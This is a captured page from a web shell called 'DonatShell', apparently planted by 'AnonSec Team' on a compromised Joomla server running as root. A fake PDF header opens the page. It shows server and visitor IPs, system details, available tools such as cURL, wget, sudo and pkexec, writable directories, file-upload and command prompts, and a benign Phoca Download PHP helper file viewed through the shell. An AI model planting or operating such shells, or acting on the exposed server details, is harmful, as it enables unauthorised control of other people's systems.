%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_phocadownload/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_phocadownload/helpers/phocauserstat.php
<?php
/*
 * @package Joomla 1.5
 * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 *
 * @component Phoca Component
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die();
jimport('joomla.application.component.model');

class PhocaUserStatHelper
{
	function createUserStatEntry($downloadId) {
		$db 		= JFactory::getDBO();
		$user		= JFactory::getUser();
		

		$query =  ' SELECT * FROM '.$db->quoteName('#__phocadownload_user_stat')
				 .' WHERE '. $db->quoteName('userid')
				 .' = '
				 .$db->Quote((int)$user->id)
				 .' AND '. $db->quoteName('fileid')
				 .' = '
				 .$db->Quote((int)$downloadId);
				 
		$db->setQuery($query);
		$results = $db->loadObjectList();
		
		$date = gmdate('Y-m-d H:i:s');
		if ($results) {
			// Update count
			$query = 'UPDATE '.$db->quoteName('#__phocadownload_user_stat')
					.' SET count = (count + 1),'
					.' date = '.$db->Quote($date)
					.' WHERE userid = '.$db->Quote((int)$user->id)
					.' AND fileid = '.$db->Quote((int)$downloadId);
					
			$db->setQuery($query);
			$db->query();
		} else {
			
			$query = 'INSERT INTO '.$db->quoteName('#__phocadownload_user_stat')
					.' ('.$db->quoteName('count').','
					.' '.$db->quoteName('userid').','
					.' '.$db->quoteName('fileid').','
					.' '.$db->quoteName('date').')'
					.' VALUES ('.$db->Quote(1).','
					.' '.$db->Quote((int)$user->id).','
					.' '.$db->Quote((int)$downloadId).','
					.' '.$db->Quote($date).')';
			$db->setQuery($query);
			$db->query();
		}
		return true;
	}
}
?>

Anon7 - 2022
AnonSec Team